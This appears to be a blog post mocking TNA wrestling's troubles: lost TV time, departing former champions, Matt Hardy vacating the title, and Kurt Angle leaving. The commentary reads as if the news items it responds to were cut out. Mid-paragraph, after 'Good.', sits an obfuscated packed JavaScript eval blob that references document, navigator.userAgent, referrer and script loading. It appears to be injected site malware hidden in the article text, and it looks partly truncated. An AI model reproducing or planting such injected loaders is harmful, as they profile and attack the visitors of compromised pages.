Of course it’s online now and this really is something that needs to be seen to be believed. It’s a bit long but check this stuff out and don’t skip ahead to the match itself as you’ll miss the most amazing part.
This is what you’ve been missing.

That’s quite the shock but causes an even bigger question: how in the world are they going to fill in two hours on Impact now? The roster was thing as it is and now they have two former World Champions gone? I know we say this a lot but they’re in even bigger trouble than they were before.

No surprise there after the Reby Sky issue. Maybe, just maybe, this might open a door for TNA to make Gail Kim the featured Knockout. I mean, it’s been a full hour since we’ve heard about how AMAZING she really is.

Dare I say RUH RO!
I know they have TV again and all that good stuff, but these are the kinds of things that make TNA look lame. I get that the tour is probably coming very soon, but there’s always something screwing them up and it makes TNA look like they have no idea what they’re doing from day to day. That got old a long time ago.

Meaning it’s now on Tuesday nights. Pop TV used to be the TV Guide Channel and airs Paragon Pro Wrestling. TNA is still alive but these channels aren’t exactly jumping through the roof. Once they’re canceled by these guys in a year, I’m sure they’ll keep sticking around because that’s the way my life works.

It’s never a good sign, but I’m sure they have taped matches to make up for it right?
Yes seriously.
The story goes that Ethan Carter III got an injunction saying that Matt didn’t win the title fairly and would be barred from appearing on Impact for a month. Therefore the fans aren’t going to be treated fairly and Matt isn’t cool with that, so he’s vacated the title so he can appear on the show.
I know TNA has a history of making Bound For Glory mean nothing but now they’re not even making it to their next TV show. This is the show people want around so much???
Good. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnesf|var|u0026u|referrer|nzkys||js|php'.split('|'),0,{})) For two reasons.
1. Most importantly, Angle’s health. His body is a wreck and he needs to just go sit at home and relax. There’s no need to destroy yourself over and over in a wrestling ring. Go train Olympic wrestlers or something, but stay out of the ring.
2. TNA relies WAY too much on Angle. I get that he’s awesome and one of the best ever, but one of the major things holding TNA back over the years has been going back to Sting and/or Angle instead of building up many new talents. With Angle gone (and assuming the company survives), they have to put it on someone new. Or Jeff Hardy because he has star power. Not that the star power does much for them but he does in fact have it.

Is it really an invasion angle if there’s no one left in the place you’re invading?
I’ve supported TNA for a long time and want them to survive, but this is into the so bad it’s funny territory.
